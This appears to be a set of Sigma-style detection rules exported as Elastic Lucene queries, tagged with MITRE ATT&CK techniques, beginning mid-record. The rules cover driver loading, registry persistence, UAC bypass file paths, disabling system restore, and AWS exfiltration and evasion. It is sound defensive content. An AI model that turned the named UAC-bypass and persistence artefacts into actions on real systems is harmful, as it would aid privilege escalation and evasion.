"now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", "enabled": false, "false_positives": ["Legitimate WinDivert driver usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d73809af-f224-98c0-e38d-6d6179a675bd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WinDivert Driver Load", "query": "(file.path.text:(*\\\\WinDivert.sys* OR *\\\\WinDivert64.sys* OR *\\\\NordDivert.sys* OR *\\\\lingtiwfp.sys* OR *\\\\eswfp.sys*) OR winlog.event_data.Hashes:(*IMPHASH\\=0604bb7cb4bb851e2168d5c7d9399087* OR *IMPHASH\\=2e5f0e649d97f32b03c09e4686d0574f* OR *IMPHASH\\=52f8aa269f69f0edad9e8fcdaedce276* OR *IMPHASH\\=c0e5d314da39dbf65a2dbff409cc2c76* OR *IMPHASH\\=58623490691babe8330adc81cd04a663* OR *IMPHASH\\=8ee39b48656e4d6b8459d7ba7da7438b* OR *IMPHASH\\=45ee545ae77e8d43fc70ede9efcd4c96* OR *IMPHASH\\=a1b2e245acd47e4a348e1a552a02859a* OR *IMPHASH\\=2a5f85fe4609461c6339637594fa9b0a* OR *IMPHASH\\=6b2c6f95233c2914d1d488ee27531acc* OR *IMPHASH\\=9f2fdd3f9ab922bbb0560a7df46f4342* OR *IMPHASH\\=d8a719865c448b1bd2ec241e46ac1c88* OR *IMPHASH\\=0ea54f8c9af4a2fe8367fa457f48ed38* OR *IMPHASH\\=9d519ae0a0864d6d6ae3f8b6c9c70af6* OR *IMPHASH\\=a74929edfc3289895e3f2885278947ae* OR *IMPHASH\\=a66b476c2d06c370f0a53b5537f2f11e* OR *IMPHASH\\=bdcd836a46bc2415773f6b5ea77a46e4* OR *IMPHASH\\=c28cd6ccd83179e79dac132a553693d9*) OR IMPHASH:(\"0604bb7cb4bb851e2168d5c7d9399087\" OR \"2e5f0e649d97f32b03c09e4686d0574f\" OR \"52f8aa269f69f0edad9e8fcdaedce276\" OR \"c0e5d314da39dbf65a2dbff409cc2c76\" OR \"58623490691babe8330adc81cd04a663\" OR \"8ee39b48656e4d6b8459d7ba7da7438b\" OR \"45ee545ae77e8d43fc70ede9efcd4c96\" OR \"a1b2e245acd47e4a348e1a552a02859a\" OR \"2a5f85fe4609461c6339637594fa9b0a\" OR \"6b2c6f95233c2914d1d488ee27531acc\" OR \"9f2fdd3f9ab922bbb0560a7df46f4342\" OR \"d8a719865c448b1bd2ec241e46ac1c88\" OR \"0ea54f8c9af4a2fe8367fa457f48ed38\" OR \"9d519ae0a0864d6d6ae3f8b6c9c70af6\" OR \"a74929edfc3289895e3f2885278947ae\" OR \"a66b476c2d06c370f0a53b5537f2f11e\" OR \"bdcd836a46bc2415773f6b5ea77a46e4\" OR \"c28cd6ccd83179e79dac132a553693d9\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1557", "T1599"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1599", "name": "Network Boundary Bridging", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1557", "name": "Adversary-in-the-Middle", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the loading of drivers via 'SeLoadDriverPrivilege' required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs () and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.", "enabled": false, "false_positives": ["Other legimate tools loading drivers. There are some: Sysinternals, CPU-Z, AVs etc. - but not much. You have to baseline this according to your used products and allowed tools. Also try to exclude users, which are allowed to load drivers."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9cfebde6-40ff-15af-7be2-dcaa2bb03aaa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Driver Loaded By User", "query": "(winlog.channel:\"Security\" AND (Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"4673\" AND winlog.event_data.PrivilegeList:\"SeLoadDriverPrivilege\" AND Service:\"\\-\") AND (NOT (winlog.event_data.ProcessName:(*\\\\Windows\\\\System32\\\\Dism.exe OR *\\\\Windows\\\\System32\\\\rundll32.exe OR *\\\\Windows\\\\System32\\\\fltMC.exe OR *\\\\Windows\\\\HelpPane.exe OR *\\\\Windows\\\\System32\\\\mmc.exe OR *\\\\Windows\\\\System32\\\\svchost.exe OR *\\\\Windows\\\\System32\\\\wimserv.exe OR *\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\procmon64.exe OR *\\\\procmon.exe OR *\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["xknow (@xknow_infosec)", "xorxes (@xor_xes)"], "license": ""}
{"description": "Detects the malicious use of a control panel item", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "15232d29-64f7-e80e-20b9-792a64db2a96", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Control Panel Items", "query": "((process.executable.text:*\\\\reg.exe AND process.command_line.text:*add* AND process.command_line.text:*CurrentVersion\\\\Control\\ Panel\\\\CPLs*) OR (process.command_line.text:*.cpl AND (NOT ((process.command_line.text:(*\\\\System32\\\\* OR *%System%*)) OR (process.command_line.text:*regsvr32\\ * AND process.command_line.text:*\\ \\/s\\ * AND process.command_line.text:*igfxCPL.cpl*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Kyaw Min Thein", "Furkan Caliskan (@caliskanfurkan_)"], "license": ""}
{"description": "Detects the manipulation of persistent URLs which can be malicious", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2916b07e-ed5b-b494-d0f6-616c692b1cb2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Persistent Outlook Landing Pages", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\Office\\\\* OR *\\\\Outlook\\\\WebView\\\\*) AND winlog.event_data.TargetObject:*\\\\URL AND winlog.event_data.TargetObject:(*\\\\Calendar\\\\* OR *\\\\Inbox\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1112"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects the manipulation of persistent URLs which could execute malicious code", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2916b07e-ed5b-b494-d0f6-616c692b1cb2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Persistent Outlook Landing Pages", "query": "(((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*Software\\\\Microsoft\\\\Office\\\\* OR *\\\\Outlook\\\\Today\\\\*)) AND ((winlog.event_data.TargetObject:*Stamp AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR winlog.event_data.TargetObject:*UserDefinedUrl)) AND (NOT ((process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1112"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects the modification of a ServiceDLL value in the service settings", "enabled": false, "false_positives": ["Administrative scripts", "Installation of a service"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75ee7f0a-8aec-2753-0885-d0a1bb841001", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ServiceDll Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND winlog.event_data.TargetObject:*\\\\Parameters\\\\ServiceDll) AND (NOT ((winlog.event_data.Details:\"C\\:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\x64\\\\3\\\\PrintConfig.dll\") OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\lsass.exe\" AND winlog.event_data.TargetObject:*\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\Parameters\\\\ServiceDll AND winlog.event_data.Details:\"%%systemroot%%\\\\system32\\\\ntdsa.dll\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", "enabled": false, "false_positives": ["Valid change to a snapshot's permissions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "08f6f046-34e2-aa25-cc9e-8c34c13a85ff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS Snapshot Backup Exfiltration", "query": "(eventSource:\"ec2.amazonaws.com\" AND eventName:\"ModifySnapshotAttribute\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1537"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1537", "name": "Transfer Data to Cloud Account", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Darin Smith"], "license": ""}
{"description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49fd3cd3-68ec-e3bf-fa36-578fc165ce1c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Outlook C2 Registry Key", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKCU\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Security\\\\Level\" AND winlog.event_data.Details:*0x00000001*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1008", "T1137", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@ScoubiMtl"], "license": ""}
{"description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", "enabled": false, "false_positives": ["WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. )", "Synergy Software KVM ()"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "990c8c54-16a9-ed8f-afcf-0020eb071e31", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PortProxy Registry Key", "query": "winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\PortProxy\\\\v4tov4\\\\tcp\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Lateral Movement", "T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects the modification of the findings on SecurityHub.", "enabled": false, "false_positives": ["System or Network administrator behaviors", "DEV, UAT, SAT environment. You should apply this rule with PROD environment only."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "601734c7-d135-27dc-d460-9fdd04fbc08b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AWS SecurityHub Findings Evasion", "query": "(eventSource:\"securityhub.amazonaws.com\" AND eventName:(\"BatchUpdateFindings\" OR \"DeleteInsight\" OR \"UpdateFindings\" OR \"UpdateInsight\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "de0d013f-2f9c-ed41-31a1-0f22174e06b4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Persitence via Service in Safe Mode", "query": "((winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\* OR HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\*) AND winlog.event_data.TargetObject:*\\\\\$Default\$ AND winlog.event_data.Details:\"Service\") AND (NOT ((process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\msiexec.exe\" AND winlog.event_data.TargetObject:(\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\SAVService\\\\\$Default\$\" OR \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\SAVService\\\\\$Default\$\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the modification of the registry to disable a system restore on the computer", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b45d3dd-0cc6-4c9e-4d73-7a668663a10f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Disable System Restore", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(*\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\SystemRestore* OR *\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\SystemRestore*) AND winlog.event_data.TargetObject:(*DisableConfig OR *DisableSR) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the mount of ISO images on an endpoint", "enabled": false, "false_positives": ["Software installation ISO files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "053b0ebb-1689-ef39-eb03-99e18877a77d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ISO Image Mount", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4663\" AND winlog.event_data.ObjectServer:\"Security\" AND winlog.event_data.ObjectType:\"File\" AND winlog.event_data.ObjectName:\\\\Device\\\\CdRom*) AND (NOT (winlog.event_data.ObjectName:\"\\\\Device\\\\CdRom0\\\\setup.exe\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Syed Hasan (@syedhasan009)"], "license": ""}
{"description": "Detects the of the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc050376-778d-baf4-f3b1-645844834e29", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Usage of Suspicious Sysinternals Tools", "query": "((winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:(*\\\\PsExec* OR *\\\\ProcDump* OR *\\\\Handle* OR *\\\\LiveKd* OR *\\\\Process\\ Explorer* OR *\\\\PsLoglist* OR *\\\\PsPasswd* OR *\\\\Active\\ Directory\\ Explorer*) AND winlog.event_data.TargetObject:*\\\\EulaAccepted) AND (NOT (process.executable.text:(*\\\\PsExec.exe OR *\\\\PsExec64.exe OR *\\\\procdump.exe OR *\\\\procdump64.exe OR *\\\\handle.exe OR *\\\\handle64.exe OR *\\\\livekd.exe OR *\\\\livekd64.exe OR *\\\\procexp.exe OR *\\\\procexp64.exe OR *\\\\psloglist.exe OR *\\\\psloglist64.exe OR *\\\\pspasswd.exe OR *\\\\pspasswd64.exe OR *\\\\ADExplorer.exe OR *\\\\ADExplorer64.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Resource Development", "T1588"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1588", "name": "Obtain Capabilities", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the pattern of a pipe name as used by the tool EfsPotato", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "361a26dc-4963-5a30-8541-411c8be618f7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "EfsPotato Named Pipe", "query": "(file.name:(*\\\\pipe\\\\* OR *\\\\pipe\\\\srvsvc*) AND (NOT (file.name:*\\\\CtxShare*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the pattern of a UAC bypass using Windows Event Viewer", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b676a071-db64-5309-277a-8c2be008c990", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using EventVwr", "query": "(file.path:*\\\\AppData\\\\Local\\\\Microsoft\\\\Event\\ Viewer\\\\RecentViews* AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Antonio Cocomazzi (idea)", "Florian Roth (rule)"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f0a88edf-4428-1d86-a99f-d1051aef87d4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using .NET Code Profiler on MMC", "query": "(file.path.text:C\\:\\\\Users\\\\* AND file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\pe386.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc3a2fde-d01c-4570-a875-a6fd1177db9e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using MSConfig Token Modification - File", "query": "(file.path.text:C\\:\\\\Users\\\\* AND file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\pkgmgr.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "db7f959c-930f-f32d-bb7c-d1f43a6a0a10", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using MSConfig Token Modification - Process", "query": "(IntegrityLevel:(\"High\" OR \"System\") AND process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\pkgmgr.exe AND process.command_line.text:\"\\\"C\\:\\\\Windows\\\\system32\\\\msconfig.exe\\\"\\ \\-5\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3011da7f-6315-76d5-ed63-26cbd209fdbc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Abusing Winsat Path Parsing - File", "query": "(file.path.text:C\\:\\\\Users\\\\* AND file.path.text:(*\\\\AppData\\\\Local\\\\Temp\\\\system32\\\\winsat.exe OR *\\\\AppData\\\\Local\\\\Temp\\\\system32\\\\winmm.dll))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7db450bf-a9bb-248c-cf36-55b80c8bbac6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Abusing Winsat Path Parsing - Process", "query": "(IntegrityLevel:(\"High\" OR \"System\") AND process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\system32\\\\winsat.exe AND process.parent.command_line.text:*C\\:\\\\Windows\\ \\\\system32\\\\winsat.exe*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "841766c4-1309-f6b9-1818-f23576a5eeec", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Abusing Winsat Path Parsing - Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Root\\\\InventoryApplicationFile\\\\winsat.exe|* AND winlog.event_data.TargetObject:*\\\\LowerCaseLongPath AND winlog.event_data.Details:c\\:\\\\users\\\\* AND winlog.event_data.Details:*\\\\appdata\\\\local\\\\temp\\\\system32\\\\winsat.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
